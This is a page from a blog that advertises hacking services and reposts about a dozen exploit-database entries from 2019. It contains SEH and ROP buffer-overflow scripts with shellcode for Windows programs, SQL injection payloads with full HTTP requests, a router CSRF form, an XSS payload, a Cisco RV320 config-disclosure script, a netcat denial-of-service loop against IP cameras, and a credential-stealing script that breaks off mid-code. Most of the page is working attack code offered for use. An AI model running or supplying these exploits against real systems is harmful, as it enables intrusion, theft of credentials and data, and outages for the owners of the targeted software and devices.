Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588220

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Easy Video to iPod Converter - Local Buffer Overflow (SEH)
# Date: 2019-01-26
# Exploit Author: Nawaf Alkeraithe
# Twitter: @Alkeraithe1
# Vulnerable Software: Easy Video to iPod Converter 1.6.20
# Vendor Homepage: http://www.divxtodvd.net/
# Version: 1.6.20 
# Software Link: http://www.divxtodvd.net/easy_video_to_ipod.exe
# Tested Windows XP SP3 x86

# PoC Steps
#1- run the program
#2- click on "Register"
#3- In the "Enter User Name" field, past the content of the payload, and click "OK"


junk = "A"*996
jmp = "\xEB\x06\x90\x90"
popPopRetAddr = "\x11\x7B\x03\x10"
NOPs = "\x90"*20;
shellCode = "\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"

payload = junk + jmp + popPopRetAddr + NOPs + shellCode

exploitText = open("exploit.txt","w")
exploitText.write(payload)
exploitText.close()
HireHackking 
# Exploit Title: Access Manager Unauthenticated Insecure Direct Object Reference (IDOR)
# Google Dork: /runJob.html?jobId=<#>
# Date: 01/22/2019
# Exploit Author: 0v3rride
# Vendor Homepage: https://docs.logonbox.com/index.html
# Software Link: N/A
# Version: >= 1.2 <= 1.4-RG3
# Tested on: Linux/Apache Wicket
# CVE: 2019-6716

Summary of issue submitted to CVE MITRE:
An unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in LogonBox Limited's (formerly Nervepoint Technologies) Access Manager web application allows a remote attacker to enumerate internal Active Directory usernames. It also allows for the possibility to enumerate Active Directory group names and altering of back-end server jobs (backup and synchronization jobs) depending on the configuration of the system. This is done via the manipulation of the jobId HTTP parameter in an HTTP GET request. This issue affects Access Manager versions >= 1.2 <= 1.4-RG3 and has been rectified in versions >= 1.4-RG4.

PoC examples:
https://host.example.org/runJob.html?jobId=<#>

E.g.
https://host.example.org/runJob.html?jobId=5


0v3rride
HireHackking 
# Exploit Title: AirTies Air5341 1.0.0.12 Modem CSRF Exploit & PoC
# Version: AirTies Modem Firmware 1.0.0.12
# Tested on: Windows 10 x64
# CVE : CVE-2019-6967
# Author : Ali Can Gönüllü

<html>
<form method="POST" name="formlogin" action="
http://192.168.2.1/cgi-bin/login" target="_top" id="uiPostForm">
       <input type="hidden" id="redirect" name="redirect">
       <input type="hidden" id="self" name="self">
       <input name="user" type="text" id="uiPostGetPage" value="admin"
size="">
       <input name="password" type="password" id="uiPostPassword" size="">
<input onclick="uiDologin();" name="gonder" type="submit"
class="buton_text" id="__ML_ok" value="TAMAM"
style="background-image:url(images/buton_bg2.gif); height:21px;
width:110px; border: 0pt  none">
      </form>
      </html>
HireHackking 
####################################################################

# Exploit Title: Newsbull Haber Script - SQL Injection (Time Based)
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

####################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/zj0Q77.jpg

####################################################################

# POC - SQLi (Time Based)
# Parameters : search
# Attack Pattern : -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
# GET Request :
http://localhost/[PATH]/admin/comment/records?userId=1&search=1'[SQL]
# URL : http://localhost/[PATH]/admin/comment/records?userId=1&search=-1'
or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

####################################################################


####################################################################

# Exploit Title: Newsbull Haber Script 1.0.0 - SQL Injection
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Demo Page : http://newsbull.gurkanuzunca.com/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

####################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg

####################################################################

# POC - SQLi (Blind)
# Parameters : search
# Attack Pattern : -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
# GET Request : http://localhost/newsbull/admin/category/records?search=1'[SQL]
# GET Request : http://localhost/newsbull/admin/news/records?search=1' [SQL]
# URL : http://localhost/newsbull/admin/category/records?search=-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

####################################################################

####################################################################

# Exploit Title: Newsbull Haber Script - (Boolean) SQL Injection
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

####################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg

####################################################################

# POC - SQLi (Boolean Based)
# Parameters : search
# Attack Pattern : ' OR 1=1 OR 'cw'='cw 
# GET Request : http://localhost/newsbull/admin/menu/childs/5?search=1'[SQL]
# URL : http://localhost/newsbull/admin/menu/childs/5?search=' OR 1=1 OR 'cw'='cw

####################################################################
HireHackking 
# Exploit Title: Cisco Firepower Management Center Cross-Site Scripting (XSS) Vulnerability
# Google Dork: N/A
# Date: 23-01-2019
################################
# Exploit Author: Bhushan B. Patil
################################
# Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
# Affected Version: 6.2.2.2 & 6.2.3
# Cisco Bug ID: CSCvk30983
# CVE: CVE-2019-1642

1. Technical Description:
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of the affected software.
The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

2. Proof Of Concept:
Login to Cisco Firepower Management Center (FMC) and browse to Systems -> Configuration menu.
https://<ip address>/platinum/platformSettingEdit.cgi?type=TimeSetting

Append the following XSS payload >"><script>alert("XXS POC")</script>& in the URL

The URL will become and on submitting it you'll get an alert popup.
https://<ip address>/platinum/platformSettingEdit.cgi?type=>"><script>alert("XXS POC")</script>&

3. Solution:
Upgrade to version 6.3.0
For more information about fixed software releases, consult the Cisco bug ID CSCvk30983<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvk30983>

4. Reference:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
HireHackking 
#!/usr/bin/python
# Exploit Title: R 3.4.4 - Local Buffer Overflow (Windows XP SP3)
# Date: 21/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://cloud.r-project.org/bin/windows/
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 3.4.4
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH for Windows 7 by ZwX available on exploit-db).
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# Used alpha_upper with "\x00" for badchars
# PoC:
# 1.) Generate exploit-calc-final.txt, copy the contents to clipboard
# 2.) In application, open 'Gui Preferences' under "Edit" open app, select Edit, select 'GUI preferences'
# 3.) Paste the contents of exploit-calc-final.txt under 'Language for menus and messages'
# 4.) Click OK

#Exact offset 292
#7E429353   FFE4             JMP ESP - user32.dll
#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -e x86/alpha_upper -b '\x00' -f c

shellcode = ("\x89\xe0\xda\xda\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4c\x42\x53\x30\x45"
"\x50\x33\x30\x53\x50\x4b\x39\x4d\x35\x56\x51\x4f\x30\x55\x34"
"\x4c\x4b\x36\x30\x46\x50\x4c\x4b\x30\x52\x54\x4c\x4c\x4b\x46"
"\x32\x55\x44\x4c\x4b\x43\x42\x57\x58\x54\x4f\x4e\x57\x51\x5a"
"\x57\x56\x36\x51\x4b\x4f\x4e\x4c\x47\x4c\x33\x51\x43\x4c\x43"
"\x32\x36\x4c\x31\x30\x39\x51\x38\x4f\x54\x4d\x43\x31\x49\x57"
"\x5a\x42\x4c\x32\x46\x32\x50\x57\x4c\x4b\x50\x52\x52\x30\x4c"
"\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x52\x31\x34\x38\x4d\x33"
"\x51\x58\x33\x31\x38\x51\x46\x31\x4c\x4b\x31\x49\x37\x50\x45"
"\x51\x58\x53\x4c\x4b\x50\x49\x34\x58\x4b\x53\x56\x5a\x50\x49"
"\x4c\x4b\x30\x34\x4c\x4b\x35\x51\x4e\x36\x36\x51\x4b\x4f\x4e"
"\x4c\x39\x51\x38\x4f\x34\x4d\x55\x51\x49\x57\x36\x58\x4b\x50"
"\x54\x35\x4a\x56\x53\x33\x53\x4d\x4a\x58\x37\x4b\x43\x4d\x47"
"\x54\x43\x45\x4a\x44\x30\x58\x4c\x4b\x46\x38\x46\x44\x55\x51"
"\x49\x43\x53\x56\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x51\x48\x35"
"\x4c\x53\x31\x38\x53\x4c\x4b\x43\x34\x4c\x4b\x55\x51\x48\x50"
"\x4d\x59\x37\x34\x31\x34\x57\x54\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x51\x4f\x31\x4f\x51\x4a"
"\x4c\x4b\x55\x42\x4a\x4b\x4c\x4d\x51\x4d\x43\x5a\x53\x31\x4c"
"\x4d\x4d\x55\x48\x32\x33\x30\x53\x30\x33\x30\x50\x50\x43\x58"
"\x56\x51\x4c\x4b\x32\x4f\x4c\x47\x4b\x4f\x38\x55\x4f\x4b\x4a"
"\x50\x48\x35\x39\x32\x51\x46\x35\x38\x49\x36\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x33\x36\x33\x4c\x35\x5a\x4d"
"\x50\x4b\x4b\x4d\x30\x32\x55\x33\x35\x4f\x4b\x47\x37\x34\x53"
"\x54\x32\x42\x4f\x43\x5a\x35\x50\x30\x53\x4b\x4f\x48\x55\x45"
"\x33\x53\x51\x42\x4c\x55\x33\x46\x4e\x52\x45\x42\x58\x53\x55"
"\x53\x30\x41\x41")

buffer = "A" * 292 + "\x53\x93\x42\x7e" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit-calc-final.txt","w")
    print "[+] Creating %s bytes payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: 6coRV Exploit
# Date: 01-26-2018
# Exploit Author: Harom Ramos [Horus]
# Tested on: Cisco RV300/RV320
# CVE : CVE-2019-1653

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from fake_useragent import UserAgent

def random_headers():
    return dict({'user-agent': UserAgent().random})

def request(url):
    r = requests.Session()
    try:
        get =  r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False
        if get.status_code == 200:  
            return get.text    
    except requests.ConnectionError:
        return 'Error Conecting'
    except requests.Timeout:
	    return 'Error Timeout'
    except KeyboardInterrupt:
        raise    
    except:
        return 0

print("")        
print("##################################################")
print("CISCO CVE-2019-1653 POC")
print("From H. with love")
print("")

url = raw_input("URL> EX:http://url:port/ ") 
url = url + "/cgi-bin/config.exp"
print(request(url))
HireHackking 
#!/bin/bash

#######################################################################################
#
#     Exploit Title: Sricam gSOAP 2.8 - Denial of Service
#              Date: 25/01/2019           
#     Vendor Status: Informed (24/10/2018)
#            CVE ID: CVE-2019-6973
#    Exploit Author: Andrew Watson
#           Contact: https://keybase.io/bitfu
#  Software Version: Sricam gSOAP 2.8
#   Vendor Homepage: http://www.sricam.com/
#         Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
#       PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
#                    exploitable by sending multiple incomplete requests.
#        References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
#        DISCLAIMER: This proof of concept is provided for educational purposes only!
#
#######################################################################################


if [ -z "$3" ]; then
	echo "#############################################################################"
	echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
	echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
	echo "[*] Example: $0 127.0.0.1 5000 10"
	echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"
	exit 0
fi

time=$(expr $3 \* 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"
echo
HireHackking 
# Exploit Title: Mess Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.m.testbd.xyz/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/biddut/ms_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?mod=admin&pg=admin_form&id=[SQL]
# 

GET /[PATH]/index.php?mod=admin&pg=admin_form&id=%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6bpo344k5sbed3vd2lc6tlgh80
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Date: Sat, 26 Jan 2019 21:31:38 GMT
Transfer-Encoding: chunked

# POC: 
# 2)
# http://localhost/[PATH]/index.php?mod=BazarList&pg=BazarList_view
# 

POST /[PATH]/index.php?mod=BazarList&pg=BazarList_view HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Cookie: PHPSESSID=6bpo344k5sbed3vd2lc6tlgh80
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
qcari=%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%20%2d%2d%20%2d: undefined
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Date: Sat, 26 Jan 2019 21:33:39 GMT
Transfer-Encoding: chunked
HireHackking 
# Exploit Title: Teameyo - Project Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.teameyo.com/
# Software Link: https://codecanyon.net/item/teameyo-project-management-system/23142804
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/messages.php?project_id=[SQL]
# 

GET /[PATH]/messages.php?project_id=-48%27%20union%20select%20(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:29:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Powered-By: PHP/7.2.14, PleskLin

# POC: 
# 2)
# http://localhost/[PATH]/client/download_pdf.php
# 

POST /[PATH]/client/download_pdf.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 340
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
milestone_id=%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c(SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:37:03 GMT
Content-Type: application/pdf
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1
Pragma: public
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 27 Jan 2019 17:37:03 GMT
Content-Disposition: inline; filename="invoice.pdf"
X-Powered-By: PHP/7.2.14, PleskLin

# POC: 
# 3)
# http://localhost/[PATH]/forgot-password.php 
# 

POST /[PATH]/forgot-password.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 298
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&forgot-password=FORGET%2BPASSWORD: undefined
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:44:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Powered-By: PHP/7.2.14, PleskLin
HireHackking 
#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-26-19
# Vulnerable Software: Faleemi Desktop Software 1.8
# Vendor Homepage: https://www.faleemi.com/
# Version: 1.8.0 
# Software Link 1: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open/copy contents of faleemidep.txt  
# 3. open app, click on System Setup
# 4. paste contents of faleemidep.txt in "Save Path for Snapshot and Record file" field 
# 5. click on save
# 6. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Gionathan "John" Reale, EDB: 45402

# badchars; \x00\x0a\x0d\x2f

import struct   
filename = "faleemidep.txt"

junk = "A" * 264

#0x6001ea7e # ADD ESP,0B34 # POP EBX # POP EBP # POP ESI # POP EDI # RETN
seh = "\x7e\xea\x01\x60"
fill = "C"*524 

#VirtualAlloc()
#EDI = ROP NOP (RETN)
rop = struct.pack('<L',0x60018221)  # POP EDI # RETN 
rop += struct.pack('<L',0x60018222) # ROP-NOP

#ECX = flProtect (0x40)
rop += struct.pack('<L',0x60047e71)  # POP ECX # RETN 
rop += struct.pack('<L',0xffffffff)  
for i in range(0,65): rop += struct.pack('<L',0x6004bcc7)  # INC ECX # RETN 

#ESI = ptr to VirtualAlloc()
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN 
rop += struct.pack('<L',0x6004f0bc)  # ptr to &VirtualAlloc() 
rop += struct.pack('<L',0x68b88b96)  # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x73d63c82)  # XCHG EAX,ESI # RETN 
	
#EDX = flAllocationType (0x1000)
# Math 1)FFFFFFFF - 0cc48368 = 0F33B7C97 Math 2)0F33B7C97 + 1001 = F33B8C98)
rop += struct.pack('<L',0x68b832d3) # MOV EDX,0CC48368 # RETN 
rop += struct.pack('<L',0x60036b1c) # POP EBX # RETN 

rop += struct.pack('<L',0xF33B8C98)
rop += struct.pack('<L',0x6004e5ce)  # ADD EDX,EBX # POP EBX # RETN 0x10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10

#EBP = ReturnTo (ptr to jmp esp)
#!mona jmp -r esp -cpb '\x00\x0a\x0d\x2f'
rop += struct.pack('<L',0x68b901e9) # POP EBP # RETN 
rop += struct.pack('<L',0x73dd4206) # jmp esp 
      
#EBX = dwSize (0x1)
rop += struct.pack('<L',0x73dbfebc) # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff) 
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN

#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x90909090)  # NOPs

#PUSHAD	
rop += struct.pack('<L',0x6004bd85) # PUSHAD # RETN

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x2f" -f python
calc =  ""
calc += "\xd9\xf7\xb8\x0c\xa1\xba\x34\xd9\x74\x24\xf4\x5b\x29"
calc += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x18\x43"
calc += "\x4f\xc8\xc8\x01\xb0\x31\x08\x66\x38\xd4\x39\xa6\x5e"
calc += "\x9c\x69\x16\x14\xf0\x85\xdd\x78\xe1\x1e\x93\x54\x06"
calc += "\x97\x1e\x83\x29\x28\x32\xf7\x28\xaa\x49\x24\x8b\x93"
calc += "\x81\x39\xca\xd4\xfc\xb0\x9e\x8d\x8b\x67\x0f\xba\xc6"
calc += "\xbb\xa4\xf0\xc7\xbb\x59\x40\xe9\xea\xcf\xdb\xb0\x2c"
calc += "\xf1\x08\xc9\x64\xe9\x4d\xf4\x3f\x82\xa5\x82\xc1\x42"
calc += "\xf4\x6b\x6d\xab\x39\x9e\x6f\xeb\xfd\x41\x1a\x05\xfe"
calc += "\xfc\x1d\xd2\x7d\xdb\xa8\xc1\x25\xa8\x0b\x2e\xd4\x7d"
calc += "\xcd\xa5\xda\xca\x99\xe2\xfe\xcd\x4e\x99\xfa\x46\x71"
calc += "\x4e\x8b\x1d\x56\x4a\xd0\xc6\xf7\xcb\xbc\xa9\x08\x0b"
calc += "\x1f\x15\xad\x47\x8d\x42\xdc\x05\xdb\x95\x52\x30\xa9"
calc += "\x96\x6c\x3b\x9d\xfe\x5d\xb0\x72\x78\x62\x13\x37\x76"
calc += "\x28\x3e\x11\x1f\xf5\xaa\x20\x42\x06\x01\x66\x7b\x85"
calc += "\xa0\x16\x78\x95\xc0\x13\xc4\x11\x38\x69\x55\xf4\x3e"
calc += "\xde\x56\xdd\x5c\x81\xc4\xbd\x8c\x24\x6d\x27\xd1"

pad = "D" * (7000-len(fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
HireHackking 
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# BEWARD Intercom 2.3.1 Credentials Disclosure
#
#
# Vendor: Beward R&D Co., Ltd
# Product web page: https://www.beward.net
# Affected version: 2.3.1.34471
#                   2.3.0
#                   2.2.11
#                   2.2.10.5
#                   2.2.9
#                   2.2.8.9
#                   2.2.7.4
#
# Note: For versions above 2.2.11: The application data directory, which
# stores logs, settings and the call records archive, was moved to ProgramData\BEWARD.
#
# New versions: C:\ProgramData\BEWARD\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB
# Old versions: C:\Users\%username%\AppData\Local\Beward R&D Co., Ltd\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB
#
# Summary: Multiaccessible User Operation, Electronic Lock Control, Real-Time
# Video, Two-Way Audio. The software is used for BEWARD IP video door stations
# control.
#
# Desc: The application stores logs and sensitive information in an unencrypted
# binary file called BEWARD.INTERCOM.FDB. A local attacker that has access to
# the current user session can successfully disclose plain-text credentials that
# can be used to bypass authentication to the affected IP camera and door station
# and bypass access control in place.
#
# Tested on: Microsoft Windows 10 Home (EN)
#            Microsoft Windows 7 SP1 (EN)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5505
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php
#
#
#
#######################################################################
# Output:
# --------
# C:\> python beward_creds.py
# Username: admin
# Password: S3cr3tP4$$w0rd
# C:\> 
#
#######################################################################
#
# 28.11.2018
#

import subprocess
import mmap######
import re########
import os########

#
# For versions bellow 2.2.11:
#
# cuser = subprocess.check_output("echo %username%", shell=True)
# dbfile = ('C:\Users\\' + cuser.rstrip() + '\Ap'
#           'pData\Local\Beward R&D Co., Ltd\BEW'
#           'ARD Intercom\DB\BEWARD.INTERCOM.FDB'
#          )
#

#
